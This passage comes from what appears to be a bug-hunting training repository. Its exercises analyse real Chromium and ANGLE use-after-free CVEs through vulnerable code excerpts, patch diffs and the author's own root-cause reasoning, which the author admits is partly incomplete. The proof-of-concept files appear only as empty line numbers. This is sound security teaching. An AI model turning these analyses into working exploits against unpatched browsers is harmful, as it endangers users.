├── LEVEL_1
├── README.md
├── exercise_1
│ ├── Buffer11.cpp
│ ├── README.md
│ └── poc.html
├── exercise_2
│ ├── README.md
│ ├── VertexArray11.cpp
│ └── poc.mp4
├── exercise_3
│ ├── IndexDataManager.cpp
│ ├── README.md
│ └── poc.html
├── exercise_4
│ ├── README.md
│ └── mac_scrollbar_animator_impl.mm
├── exercise_5
│ ├── README.md
│ ├── css_interpolation_types_map.cc
│ └── poc.html
├── exercise_6
│ ├── README.md
│ ├── animatable.cc
│ ├── effect_input.cc
│ ├── keyframe_effect.cc
│ └── poc.html
└── exercise_7
│ ├── README.md
│ ├── marker.cc
│ └── marking-state.h
├── LEVEL_2
├── README.md
├── exercise_1
│ ├── README.md
│ └── text_searcher_icu.cc
├── exercise_2
│ ├── README.md
│ └── visible_units.cc
├── exercise_3
│ ├── README.md
│ ├── deflate_transformer.cc
│ └── inflate_transformer.cc
├── exercise_4
│ ├── README.md
│ └── tab_strip_model.cc
├── exercise_5
│ ├── README.md
│ ├── tab_drag_controller.cc
│ ├── tab_drag_controller.h
│ ├── tab_strip_model.cc
│ └── tab_strip_model.h
├── exercise_6
│ ├── README.md
│ └── pdfium_page.cc
└── exercise_7
│ ├── README.md
│ └── webgl_rendering_context_base.cc
├── LEVEL_3
├── README.md
├── exercise_1
│ ├── README.md
│ ├── navigation_predictor.cc
│ └── navigation_predictor.h
├── exercise_2
│ ├── README.md
│ ├── representation-change.cc
│ └── representation-change.h
├── exercise_3
│ ├── README.md
│ ├── node_channel.cc
│ ├── node_channel.h
│ └── user_message_impl.cc
├── exercise_4
│ ├── README.md
│ └── receiver_set.h
├── exercise_5
│ ├── README.md
│ └── page_handler.cc
├── exercise_6
│ ├── README.md
│ ├── ipc_message_pipe_reader.cc
│ ├── pickle.cc
│ └── pickle.h
└── exercise_7
│ └── README.md
├── README.md
└── Template.md
/LEVEL_1/README.md:
--------------------------------------------------------------------------------
1 | # LEVEL 1
2 |
3 | I will collect some related code and useful descriptions, in order to provide all your demands. But if you feel these not enough, you need to search yourself.
4 |
5 | Find the bug yourself, and if you feel difficult can see tips or the answer.
6 |
7 | I believe you can do better than me.
8 |
9 |
--------------------------------------------------------------------------------
/LEVEL_1/exercise_1/README.md:
--------------------------------------------------------------------------------
1 | # Exercise 1
2 |
3 | ## CVE-2020-6542
4 | I choose **CVE-2020-6542**, and I sugget you don't search any report about it to prevents get too much info like patch.
5 |
6 |
7 | ### Details
8 |
9 | > Google Chrome WebGL Buffer11::getBufferStorage Code Execution Vulnerability
10 | >
11 | > Google Chrome is a cross-platform web browser developed by Google. It supports many features, including WebGL (Web Graphics Library), a JavaScript API for rendering interactive 2-D and 3-D graphics.
12 | >
13 | > In some specific cases after binding a zero size buffer we could end up trying to use a buffer storage that was no longer valid. Fix this by ensuring we don't flush dirty bits when we have an early exit due to a zero size buffer.
14 |
15 | ---------
16 |
17 | For more info click me!
18 |
19 | Chromium crashes inside the `Buffer11::getBufferStorage` function. This is because newStorage element points to previously freed memory, leading to a use-after-free vulnerability.
20 |
21 |
22 | **You'd better read some doc about ANGLE to understand the source code**
23 |
24 | --------
25 |
26 | ### Version
27 |
28 | Google Chrome 84.0.4147.89
29 |
30 | Google Chrome 85.0.4169.0 (Developer Build) (64-bit)
31 |
32 | we can analysis the source file [online](https://chromium.googlesource.com/angle/angle/+/034a8b3f3c5c8e7e1629b8ac88cadb72ea68cf23/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp#246)
33 |
34 | ### Related code
35 |
36 | May be you need fetch the source code
37 | ```
38 | git clone https://chromium.googlesource.com/angle/angle
39 | cd angle
40 | git reset --hard 50a2725742948702720232ba46be3c1f03822ada
41 | ```
42 | ```c++
43 | angle::Result VertexArray11::updateDirtyAttribs(const gl::Context *context,
44 | const gl::AttributesMask &activeDirtyAttribs)
45 | {
46 | const auto &glState = context->getState();
47 | const auto &attribs = mState.getVertexAttributes();
48 | const auto &bindings = mState.getVertexBindings();
49 |
50 | for (size_t dirtyAttribIndex : activeDirtyAttribs)
51 | {
52 | mAttribsToTranslate.reset(dirtyAttribIndex);
53 |
54 | auto *translatedAttrib = &mTranslatedAttribs[dirtyAttribIndex];
55 | const auto ¤tValue = glState.getVertexAttribCurrentValue(dirtyAttribIndex);
56 |
57 | // Record basic attrib info
58 | translatedAttrib->attribute = &attribs[dirtyAttribIndex];
59 | translatedAttrib->binding = &bindings[translatedAttrib->attribute->bindingIndex];
60 | translatedAttrib->currentValueType = currentValue.Type;
61 | translatedAttrib->divisor =
62 | translatedAttrib->binding->getDivisor() * mAppliedNumViewsToDivisor;
63 |
64 | switch (mAttributeStorageTypes[dirtyAttribIndex])
65 | {
66 | case VertexStorageType::DIRECT:
67 | VertexDataManager::StoreDirectAttrib(context, translatedAttrib);
68 | break;
69 | case VertexStorageType::STATIC:
70 | {
71 | // can early exit
72 | ANGLE_TRY(VertexDataManager::StoreStaticAttrib(context, translatedAttrib));
73 | break;
74 | }
75 | case VertexStorageType::CURRENT_VALUE:
76 | // Current value attribs are managed by the StateManager11.
77 | break;
78 | default:
79 | UNREACHABLE();
80 | break;
81 | }
82 | }
83 |
84 | return angle::Result::Continue;
85 | }
86 | =========================================================
87 | template
88 | BitSetT &BitSetT::reset(ParamT pos)
89 | {
90 | ASSERT(mBits == (mBits & Mask(N)));
91 | mBits &= ~Bit(pos);
92 | return *this;
93 | }
94 | =========================================================
95 | #define ANGLE_TRY(EXPR) ANGLE_TRY_TEMPLATE(EXPR, ANGLE_RETURN)
96 |
97 | #define ANGLE_TRY_TEMPLATE(EXPR, FUNC) \
98 | do \
99 | { \
100 | auto ANGLE_LOCAL_VAR = EXPR; \
101 | if (ANGLE_UNLIKELY(IsError(ANGLE_LOCAL_VAR))) \
102 | { \
103 | FUNC(ANGLE_LOCAL_VAR); \
104 | } \
105 | } while (0)
106 | =========================================================
107 | inline bool IsError(angle::Result result)
108 | {
109 | return result == angle::Result::Stop;
110 | }
111 | ```
112 | ```c++
113 | angle::Result VertexDataManager::StoreStaticAttrib(const gl::Context *context,
114 | TranslatedAttribute *translated)
115 | {
116 | ASSERT(translated->attribute && translated->binding);
117 | const auto &attrib = *translated->attribute;
118 | const auto &binding = *translated->binding;
119 |
120 | gl::Buffer *buffer = binding.getBuffer().get();
121 | ASSERT(buffer && attrib.enabled && !DirectStoragePossible(context, attrib, binding));
122 | BufferD3D *bufferD3D = GetImplAs(buffer);
123 |
124 | // Compute source data pointer
125 | const uint8_t *sourceData = nullptr;
126 | const int offset = static_cast(ComputeVertexAttributeOffset(attrib, binding));
127 |
128 | ANGLE_TRY(bufferD3D->getData(context, &sourceData));
129 |
130 | if (sourceData)
131 | {
132 | sourceData += offset;
133 | }
134 | [ ... ]
135 | ```
136 |
137 | ```c++
138 | angle::Result Buffer11::getData(const gl::Context *context, const uint8_t **outData)
139 | {
140 | if (mSize == 0)
141 | {
142 | // TODO(http://anglebug.com/2840): This ensures that we don't crash or assert in robust
143 | // buffer access behavior mode if there are buffers without any data. However, technically
144 | // it should still be possible to draw, with fetches from this buffer returning zero.
145 | return angle::Result::Stop;
146 | }
147 |
148 | SystemMemoryStorage *systemMemoryStorage = nullptr;
149 |
150 | ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_SYSTEM_MEMORY, &systemMemoryStorage));
151 |
152 | ASSERT(systemMemoryStorage->getSize() >= mSize);
153 |
154 | *outData = systemMemoryStorage->getSystemCopy()->data();
155 | return angle::Result::Continue;
156 | }
157 | ```
158 |
159 | ```c++
160 | template
161 | angle::Result Buffer11::getBufferStorage(const gl::Context *context,
162 | BufferUsage usage,
163 | StorageOutT **storageOut)
164 | {
165 | ASSERT(0 <= usage && usage < BUFFER_USAGE_COUNT);
166 | BufferStorage *&newStorage = mBufferStorages[usage];
167 |
168 | if (!newStorage)
169 | {
170 | newStorage = allocateStorage(usage);
171 | }
172 |
173 | markBufferUsage(usage);
174 |
175 | // resize buffer
176 | if (newStorage->getSize() < mSize)
177 | {
178 | ANGLE_TRY(newStorage->resize(context, mSize, true));
179 | }
180 |
181 | ASSERT(newStorage);
182 |
183 | ANGLE_TRY(updateBufferStorage(context, newStorage, 0, mSize));
184 | ANGLE_TRY(garbageCollection(context, usage));
185 |
186 | *storageOut = GetAs(newStorage);
187 | return angle::Result::Continue;
188 | }
189 | ```
190 |
191 |
192 | ### Do it
193 |
194 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
195 |
196 | ---------
197 |
198 | My answer
199 |
200 | The answer I write is incomplete, the following answer doesn't mention the reletion between patch and uaf -_-. Recently I have no time to debug PoC to get the truely answer. So I hope you can correct this.
201 |
202 | patch:
203 | ```diff
204 | diff --git a/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp b/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp
205 | index 6bb0bf8..a5f8b6a 100644
206 | --- a/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp
207 | +++ b/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp
208 | @@ -253,8 +253,6 @@
209 |
210 | for (size_t dirtyAttribIndex : activeDirtyAttribs)
211 | {
212 | - mAttribsToTranslate.reset(dirtyAttribIndex);
213 | -
214 | auto *translatedAttrib = &mTranslatedAttribs[dirtyAttribIndex];
215 | const auto ¤tValue = glState.getVertexAttribCurrentValue(dirtyAttribIndex);
216 |
217 | @@ -282,6 +280,9 @@
218 | UNREACHABLE();
219 | break;
220 | }
221 | +
222 | + // Make sure we reset the dirty bit after the switch because STATIC can early exit.
223 | + mAttribsToTranslate.reset(dirtyAttribIndex);
224 | }
225 |
226 | return angle::Result::Continue;
227 | ```
228 | doc about [dirty bits](https://chromium.googlesource.com/angle/angle/+/50a2725742948702720232ba46be3c1f03822ada/doc/DirtyBits.md)
229 |
230 | ```c++
231 | angle::Result Buffer11::getData(const gl::Context *context, const uint8_t **outData)
232 | {
233 | if (mSize == 0)
234 | {
235 | return angle::Result::Stop; [1]
236 | }
237 | SystemMemoryStorage *systemMemoryStorage = nullptr;
238 | // call getBufferStorage
239 | ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_SYSTEM_MEMORY, &systemMemoryStorage));
240 | }
241 | ```
242 | incomplete answer:
243 | [1] `Buffer11::getData` can return `angle::Result::Stop` if `mSize == 0`
244 | ```c++
245 | angle::Result VertexDataManager::StoreStaticAttrib(const gl::Context *context,
246 | TranslatedAttribute *translated)
247 | {
248 | BufferD3D *bufferD3D = GetImplAs(buffer);
249 | // Compute source data pointer
250 | const uint8_t *sourceData = nullptr;
251 | const int offset = static_cast(ComputeVertexAttributeOffset(attrib, binding));
252 |
253 | ANGLE_TRY(bufferD3D->getData(context, &sourceData)); [2]
254 |
255 | if (sourceData)
256 | {
257 | sourceData += offset;
258 | }
259 | [ ... ]
260 | ==========================================================
261 | Buffer11::~Buffer11()
262 | {
263 | for (BufferStorage *&storage : mBufferStorages)
264 | {
265 | SafeDelete(storage);
266 | }
267 | [ ... ]
268 | ```
269 | [2] call `Buffer11::getData` in `ANGLE_TRY`, because `mSize == 0` it can return `Stop` then exit early. Finally call `Buffer11::~Buffer11()`, it can free `mBufferStorages`.
270 |
271 | One possible situation (maybe wrong) is we can get the raw buffer early because the "early exit", and the `Buffer11::~Buffer11()` have not been trigger. I can call `getBufferStorage` in other path during `~Buffer11()` before `mBufferStorages[usage]` was set to null.
272 | ```c++
273 | template
274 | angle::Result Buffer11::getBufferStorage(const gl::Context *context,
275 | BufferUsage usage,
276 | StorageOutT **storageOut)
277 | {
278 | ASSERT(0 <= usage && usage < BUFFER_USAGE_COUNT);
279 | BufferStorage *&newStorage = mBufferStorages[usage]; [3] already freed
280 |
281 | if (!newStorage)
282 | {
283 | newStorage = allocateStorage(usage);
284 | }
285 |
286 | markBufferUsage(usage);
287 |
288 | // resize buffer
289 | if (newStorage->getSize() < mSize) [4] trigger uaf
290 | {
291 | ANGLE_TRY(newStorage->resize(context, mSize, true));
292 | }
293 | }
294 | ```
295 | In other path call `getBufferStorage` will trigger uaf, like
296 | ```c++
297 | syncVertexBuffersAndInputLayout ->
298 | applyVertexBuffers ->
299 | getBuffer ->
300 | getBufferStorage
301 | ```
302 | I get this call tree by this [report](https://talosintelligence.com/vulnerability_reports/TALOS-2020-1127)
303 |
304 | If you are instread of how to construct the Poc, you can get help form [this](https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=457249).
305 |
306 |
307 |
308 | --------
309 |
310 |
--------------------------------------------------------------------------------
/LEVEL_1/exercise_1/poc.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | POC
7 |
8 |
268 |
269 |
309 |
310 |
311 |
--------------------------------------------------------------------------------
/LEVEL_1/exercise_2/README.md:
--------------------------------------------------------------------------------
1 | # Exercise 2
2 |
3 | ## CVE-2020-6463
4 | I sugget you don't search any report about it to prevents get too much info like patch.
5 |
6 | This time we do it by code audit, and download source code.
7 | ### Details
8 |
9 |
10 | > When a new texture is bound, the texture binding state is updated before
11 | > updating the active texture cache. With this ordering, it is possible to delete
12 | > the currently bound texture when the binding changes and then use-after-free it
13 | > when updating the active texture cache.
14 | >
15 | > The bug reason in angle/src/libANGLE/State.cpp
16 |
17 | ---------
18 |
19 |
20 | For more info click me! But you'd better not do this
21 |
22 | https://bugs.chromium.org/p/chromium/issues/detail?id=1065186
23 |
24 |
25 | --------
26 |
27 | ### Set environment
28 | We download the ANGLE
29 | ```sh
30 | git clone https://chromium.googlesource.com/angle/angle
31 | ```
32 | Then checkout the branch, we set the commit hash
33 | ```sh
34 | cd angle
35 | git reset --hard b83b0f5e9f63261d3d95a75b74ad758509d7a349 # we get it by issue page
36 | ```
37 |
38 | ### Related code
39 | we can analysis the source file [online](https://chromium.googlesource.com/angle/angle/+/e514b0cb7e6b8956ea0c93ceca01b63d5deb621d/src/libANGLE/State.cpp#1171) or offline.
40 |
41 |
42 | ```c++
43 | void State::setSamplerTexture(const Context *context, TextureType type, Texture *texture)
44 | {
45 | mSamplerTextures[type][mActiveSampler].set(context, texture);
46 | if (mProgram && mProgram->getActiveSamplersMask()[mActiveSampler] &&
47 | IsTextureCompatibleWithSampler(type, mProgram->getActiveSamplerTypes()[mActiveSampler]))
48 | {
49 | updateActiveTexture(context, mActiveSampler, texture);
50 | }
51 | mDirtyBits.set(DIRTY_BIT_TEXTURE_BINDINGS);
52 | }
53 | =================================================================
54 | ANGLE_INLINE void State::updateActiveTexture(const Context *context,
55 | size_t textureIndex,
56 | Texture *texture)
57 | {
58 | const Sampler *sampler = mSamplers[textureIndex].get();
59 | mCompleteTextureBindings[textureIndex].bind(texture);
60 |
61 | if (!texture)
62 | {
63 | mActiveTexturesCache.reset(textureIndex);
64 | mDirtyBits.set(DIRTY_BIT_TEXTURE_BINDINGS);
65 | return;
66 | }
67 |
68 | updateActiveTextureState(context, textureIndex, sampler, texture);
69 | }
70 | ```
71 |
72 | ```cpp
73 | using TextureBindingMap = angle::PackedEnumMap;
74 | =======================================================
75 | TextureBindingMap mSamplerTextures;
76 | ```
77 |
78 | ```c++
79 | void set(const ContextType *context, ObjectType *newObject)
80 | {
81 | // addRef first in case newObject == mObject and this is the last reference to it.
82 | if (newObject != nullptr)
83 | {
84 | reinterpret_cast *>(newObject)->addRef();
85 | }
86 |
87 | // Store the old pointer in a temporary so we can set the pointer before calling release.
88 | // Otherwise the object could still be referenced when its destructor is called.
89 | ObjectType *oldObject = mObject;
90 | mObject = newObject;
91 | if (oldObject != nullptr)
92 | {
93 | reinterpret_cast *>(oldObject)->release(context);
94 | }
95 | }
96 | ```
97 |
98 |
99 | ### Do it
100 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
101 |
102 |
103 | ---------
104 |
105 |
106 | My answer
107 |
108 | By reading detail, we can know `the texture binding state is updated before updating the active texture cache`.
109 | ```c++
110 | void State::setSamplerTexture(const Context *context, TextureType type, Texture *texture)
111 | {
112 | mSamplerTextures[type][mActiveSampler].set(context, texture); [1]
113 | if (mProgram && mProgram->getActiveSamplersMask()[mActiveSampler] &&
114 | IsTextureCompatibleWithSampler(type, mProgram->getActiveSamplerTypes()[mActiveSampler]))
115 | {
116 | updateActiveTexture(context, mActiveSampler, texture); [2]
117 | }
118 | mDirtyBits.set(DIRTY_BIT_TEXTURE_BINDINGS);
119 | }
120 | ```
121 | [1] means update the binding state, and [2] means update the active texture cache. What can it delete currently bound texture?
122 | ```c++
123 | void set(const ContextType *context, ObjectType *newObject)
124 | {
125 | // addRef first in case newObject == mObject and this is the last reference to it.
126 | if (newObject != nullptr)
127 | {
128 | reinterpret_cast *>(newObject)->addRef();
129 | }
130 |
131 | // Store the old pointer in a temporary so we can set the pointer before calling release.
132 | // Otherwise the object could still be referenced when its destructor is called.
133 | ObjectType *oldObject = mObject;
134 | mObject = newObject;
135 | if (oldObject != nullptr)
136 | {
137 | reinterpret_cast *>(oldObject)->release(context); [3]
138 | }
139 | }
140 | ```
141 | There is release in set func, and the Triggering condition is `oldObject != nullptr` we can easily get this by set same `texture` twice. If we call `State::setSamplerTexture` twice with same `texture`, it can trigger uaf at `updateActiveTexture` in the second call.
142 |
143 |
144 |
145 | --------
146 |
147 |
--------------------------------------------------------------------------------
/LEVEL_1/exercise_2/poc.mp4:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarCrossPortal/bug-hunting-101/c86d7f11ac7f162ed0aecf0135c0b9c73dbad253/LEVEL_1/exercise_2/poc.mp4
--------------------------------------------------------------------------------
/LEVEL_1/exercise_3/poc.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
8 |
14 |
53 |
54 |
55 |
56 |
57 |
--------------------------------------------------------------------------------
/LEVEL_1/exercise_4/README.md:
--------------------------------------------------------------------------------
1 | # Exercise 4
2 |
3 | ## CVE-2021-21204
4 | I sugget you don't search any report about it to prevents get too much info like patch.
5 |
6 | This time we do it by code audit
7 |
8 | ### Details
9 |
10 | > What is happening is that the BlinkScrollbarPartAnimation instance
11 | passed to BlinkScrollbarPartAnimationTimer is released while
12 | the BlinkScrollbarPartAnimationTimer::TimerFired method runs as
13 | part of BlinkScrollbarPartAnimation::setCurrentProgress call,
14 | during the execution of ScrollbarPainter::setKnobAlpha which ends
15 | up calling BlinkScrollbarPainterDelegate::setUpAlphaAnimation
16 | through a chain of observers.
17 | BlinkScrollbarPainterDelegate::setUpAlphaAnimation releases the
18 | BlinkScrollbarPartAnimation instance which gets deallocated.
19 | BlinkScrollbarPartAnimation::setCurrentProgress continues execution
20 | after ScrollbarPainter::setKnobAlpha returns, but the _scrollbarPointer
21 | is overwritten with garbage and when SetNeedsPaintInvalidation
22 | is called the crash happens.
23 |
24 | You'd better read [these](https://www.chromium.org/blink) to have a preliminary understanding of Blink and make sure you know a little about `Objective-C`
25 |
26 | ---------
27 |
28 |
29 | For more info click me! But you'd better not do this
30 |
31 | https://bugs.chromium.org/p/chromium/issues/detail?id=1189926
32 |
33 |
34 |
35 | --------
36 |
37 | ### Set environment
38 |
39 | Because the hash we get from issue page is related to chromium, we need download the chromium source code and blink is one part of it. I upload the main file and you can try to fetch chromium.
40 | The hash [`6c3c857b90ef63822c8e598bdb7aea604ba1688c`](https://github.com/chromium/chromium/tree/6c3c857b90ef63822c8e598bdb7aea604ba1688c/third_party/blink)
41 |
42 | ### Related code
43 | we can analysis the source file [online](https://source.chromium.org/chromium/chromium/src/+/6c3c857b90ef63822c8e598bdb7aea604ba1688c:third_party/blink/renderer/core/scroll/mac_scrollbar_animator_impl.mm#414) or offline.
44 |
45 | ```objective-c
46 | class BlinkScrollbarPartAnimationTimer {
47 | public:
48 | BlinkScrollbarPartAnimationTimer(
49 | BlinkScrollbarPartAnimation* animation,
50 | CFTimeInterval duration,
51 | scoped_refptr task_runner)
52 | : timer_(std::move(task_runner),
53 | this,
54 | &BlinkScrollbarPartAnimationTimer::TimerFired),
55 | start_time_(0.0),
56 | duration_(duration),
57 | animation_(animation),
58 | timing_function_(CubicBezierTimingFunction::Preset(
59 | CubicBezierTimingFunction::EaseType::EASE_IN_OUT)) {}
60 | private:
61 | void TimerFired(TimerBase*) {
62 | double current_time = base::Time::Now().ToDoubleT();
63 | double delta = current_time - start_time_;
64 |
65 | if (delta >= duration_)
66 | timer_.Stop();
67 | // This is a speculative fix for crbug.com/1183276.
68 | if (!animation_)
69 | return;
70 |
71 | double fraction = delta / duration_;
72 | fraction = clampTo(fraction, 0.0, 1.0);
73 | double progress = timing_function_->Evaluate(fraction);
74 | [animation_ setCurrentProgress:progress];
75 | }
76 |
77 | TaskRunnerTimer timer_;
78 | double start_time_; // In seconds.
79 | double duration_; // In seconds.
80 | BlinkScrollbarPartAnimation* animation_; // Weak, owns this.
81 | scoped_refptr timing_function_;
82 | };
83 | ```
84 |
85 | ```objective-c
86 | - (void)setCurrentProgress:(NSAnimationProgress)progress {
87 | DCHECK(_scrollbar);
88 | CGFloat currentValue;
89 | if (_startValue > _endValue)
90 | currentValue = 1 - progress;
91 | else
92 | currentValue = progress;
93 | blink::ScrollbarPart invalidParts = blink::kNoPart;
94 | switch (_featureToAnimate) {
95 | case ThumbAlpha:
96 | [_scrollbarPainter setKnobAlpha:currentValue]; // call ScrollbarPainter::setKnobAlpha
97 | break;
98 | case TrackAlpha:
99 | [_scrollbarPainter setTrackAlpha:currentValue];
100 | invalidParts = static_cast(~blink::kThumbPart);
101 | break;
102 | case UIStateTransition:
103 | [_scrollbarPainter setUiStateTransitionProgress:currentValue];
104 | invalidParts = blink::kAllParts;
105 | break;
106 | case ExpansionTransition:
107 | [_scrollbarPainter setExpansionTransitionProgress:currentValue];
108 | invalidParts = blink::kThumbPart;
109 | break;
110 | }
111 | _scrollbar->SetNeedsPaintInvalidation(invalidParts);
112 | }
113 | ============================================================================
114 | - (void)scrollerImp:(id)scrollerImp
115 | animateKnobAlphaTo:(CGFloat)newKnobAlpha
116 | duration:(NSTimeInterval)duration {
117 | if (!_scrollbar)
118 | return;
119 |
120 | DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar));
121 |
122 | ScrollbarPainter scrollerPainter = (ScrollbarPainter)scrollerImp;
123 | [self setUpAlphaAnimation:_knobAlphaAnimation // call BlinkScrollbarPainterDelegate::setUpAlphaAnimation
124 | scrollerPainter:scrollerPainter
125 | part:blink::kThumbPart
126 | animateAlphaTo:newKnobAlpha
127 | duration:duration];
128 | }
129 | ============================================================================
130 | - (void)setUpAlphaAnimation:
131 | (base::scoped_nsobject&)
132 | scrollbarPartAnimation
133 | scrollerPainter:(ScrollbarPainter)scrollerPainter
134 | part:(blink::ScrollbarPart)part
135 | animateAlphaTo:(CGFloat)newAlpha
136 | duration:(NSTimeInterval)duration {
137 | blink::MacScrollbarAnimator* scrollbar_animator =
138 | _scrollbar->GetScrollableArea()->GetMacScrollbarAnimator();
139 | DCHECK(scrollbar_animator);
140 | // If the user has scrolled the page, then the scrollbars must be animated
141 | // here.
142 | // This overrides the early returns.
143 | bool mustAnimate = [self scrollAnimator].HaveScrolledSincePageLoad();
144 | if (scrollbar_animator->ScrollbarPaintTimerIsActive() && !mustAnimate)
145 | return;
146 | if (_scrollbar->GetScrollableArea()->ShouldSuspendScrollAnimations() &&
147 | !mustAnimate) {
148 | scrollbar_animator->StartScrollbarPaintTimer();
149 | return;
150 | }
151 | // At this point, we are definitely going to animate now, so stop the timer.
152 | scrollbar_animator->StopScrollbarPaintTimer();
153 | // If we are currently animating, stop
154 | if (scrollbarPartAnimation) {
155 | [scrollbarPartAnimation invalidate];
156 | scrollbarPartAnimation.reset();
157 | }
158 | scrollbarPartAnimation.reset([[BlinkScrollbarPartAnimation alloc]
159 | initWithScrollbar:_scrollbar
160 | featureToAnimate:part == blink::kThumbPart ? ThumbAlpha : TrackAlpha
161 | animateFrom:part == blink::kThumbPart ? [scrollerPainter knobAlpha]
162 | : [scrollerPainter trackAlpha]
163 | animateTo:newAlpha
164 | duration:duration
165 | taskRunner:_taskRunner]);
166 | [scrollbarPartAnimation startAnimation];
167 | }
168 | ```
169 |
170 |
171 |
172 |
173 |
174 | ### Do it
175 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
176 |
177 |
178 | ---------
179 |
180 |
181 | My answer
182 |
183 | We can start from `TimerFired` func
184 | ```objective-c
185 | class BlinkScrollbarPartAnimationTimer [ ... ]
186 | void TimerFired(TimerBase*) {
187 | double current_time = base::Time::Now().ToDoubleT();
188 | double delta = current_time - start_time_;
189 |
190 | if (delta >= duration_)
191 | timer_.Stop();
192 | // This is a speculative fix for crbug.com/1183276.
193 | if (!animation_)
194 | return;
195 |
196 | double fraction = delta / duration_;
197 | fraction = clampTo(fraction, 0.0, 1.0);
198 | double progress = timing_function_->Evaluate(fraction);
199 | [animation_ setCurrentProgress:progress]; [1] call setCurrentProgress. Notice `animation_`
200 | }
201 |
202 | private:
203 | BlinkScrollbarPartAnimation* animation_; [2] weak, own this
204 | ```
205 | [2] `BlinkScrollbarPartAnimationTimer` own the instance of `BlinkScrollbarPartAnimation` which assignmented by constructor. This make a chance to trigger uaf.
206 |
207 | ```objective-c
208 | - (void)setCurrentProgress:(NSAnimationProgress)progress {
209 | DCHECK(_scrollbar);
210 | CGFloat currentValue;
211 | blink::ScrollbarPart invalidParts = blink::kNoPart;
212 | switch (_featureToAnimate) {
213 | case ThumbAlpha:
214 | [_scrollbarPainter setKnobAlpha:currentValue]; [3] call ScrollbarPainter::setKnobAlpha
215 | break;
216 | case TrackAlpha:
217 | [_scrollbarPainter setTrackAlpha:currentValue];
218 | invalidParts = static_cast(~blink::kThumbPart);
219 | break;
220 | }
221 | _scrollbar->SetNeedsPaintInvalidation(invalidParts);
222 | }
223 | ```
224 | `setCurrentProgress` can call `setKnobAlpha`
225 | ```objective-c
226 | - (void)scrollerImp:(id)scrollerImp
227 | animateKnobAlphaTo:(CGFloat)newKnobAlpha
228 | duration:(NSTimeInterval)duration {
229 | if (!_scrollbar)
230 | return;
231 |
232 | DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar));
233 |
234 | ScrollbarPainter scrollerPainter = (ScrollbarPainter)scrollerImp;
235 | [self setUpAlphaAnimation:_knobAlphaAnimation [4] call BlinkScrollbarPainterDelegate::setUpAlphaAnimation
236 | scrollerPainter:scrollerPainter
237 | part:blink::kThumbPart
238 | animateAlphaTo:newKnobAlpha
239 | duration:duration];
240 | }
241 | ```
242 | ```objective-c
243 | - (void)setUpAlphaAnimation:
244 | (base::scoped_nsobject&)
245 | scrollbarPartAnimation
246 | scrollerPainter:(ScrollbarPainter)scrollerPainter
247 | part:(blink::ScrollbarPart)part
248 | animateAlphaTo:(CGFloat)newAlpha
249 | duration:(NSTimeInterval)duration {
250 | blink::MacScrollbarAnimator* scrollbar_animator =
251 | _scrollbar->GetScrollableArea()->GetMacScrollbarAnimator();
252 | DCHECK(scrollbar_animator);
253 |
254 | // If we are currently animating, stop
255 | if (scrollbarPartAnimation) { [5]
256 | [scrollbarPartAnimation invalidate];
257 | scrollbarPartAnimation.reset();
258 | }
259 | scrollbarPartAnimation.reset([[BlinkScrollbarPartAnimation alloc] [6]
260 | initWithScrollbar:_scrollbar
261 | featureToAnimate:part == blink::kThumbPart ? ThumbAlpha : TrackAlpha
262 | animateFrom:part == blink::kThumbPart ? [scrollerPainter knobAlpha]
263 | : [scrollerPainter trackAlpha]
264 | animateTo:newAlpha
265 | duration:duration
266 | taskRunner:_taskRunner]);
267 | [scrollbarPartAnimation startAnimation];
268 | }
269 | ```
270 | The `(base::scoped_nsobject&) scrollbarPartAnimation` can be release by `reset()`
271 |
272 | - About `scoped_nsobject`:
273 | >`scoped_nsobject<>` is patterned after std::unique_ptr<>, but maintains
274 | ownership of an NSObject subclass object. Style deviations here are solely
275 | for compatibility with std::unique_ptr<>'s interface, with which everyone is
276 | already familiar.
277 |
278 | >scoped_nsobject<> takes ownership of an object (in the constructor or in
279 | reset()) by taking over the caller's existing ownership claim. The caller
280 | must own the object it gives to scoped_nsobject<>, and relinquishes an
281 | ownership claim to that object. **scoped_nsobject<> does not call -retain,
282 | callers have to call this manually if appropriate.**
283 | - About `void base::scoped_nsprotocol< NST >::reset( NST object = nil )`:
284 | ```objective-c {
285 | // We intentionally do not check that object != object_ as the caller must
286 | // either already have an ownership claim over whatever it passes to this
287 | // method, or call it with the |RETAIN| policy which will have ensured that
288 | // the object is retained once more when reaching this point.
289 | [object_ release];
290 | object_ = object;
291 | }
292 | ```
293 |
294 |
295 |
296 |
297 | --------
298 |
299 |
--------------------------------------------------------------------------------
/LEVEL_1/exercise_5/README.md:
--------------------------------------------------------------------------------
1 | # Exercise 5
2 |
3 | ## CVE-2021-21203
4 | I sugget you don't search any report about it to prevents get too much info like patch.
5 |
6 | This time we do it by code audit
7 |
8 | ### Details
9 |
10 | > Don't erase InterpolationTypes used by other documents
11 | >
12 | > A registered custom property in one document caused the entry for the
13 | > same custom property (unregistered) used in another document to be
14 | > deleted, which caused a use-after-free.
15 | >
16 | > Only store the CSSDefaultInterpolationType for unregistered custom
17 | > properties and never store registered properties in the map. They may
18 | > have different types in different documents when registered.
19 |
20 | You can read [this](https://chromium.googlesource.com/chromium/src/+/af77c20371d1418300cefbc5fa6779067b7792cf/third_party/blink/renderer/core/animation/#core_animation) to know what about `animation`
21 |
22 |
23 |
24 | ---------
25 |
26 |
27 | For more info click me! But you'd better not do this
28 |
29 | https://bugs.chromium.org/p/chromium/issues/detail?id=1192054
30 |
31 |
32 |
33 | --------
34 |
35 | ### Set environment
36 |
37 | Just like exercise_4, we need chromium. I recomend you do as [offical gudience](https://chromium.googlesource.com/chromium/src/+/refs/heads/main/docs/linux/build_instructions.md). If you have installed `depot_tools` ago, you just need `fetch chromium`.
38 |
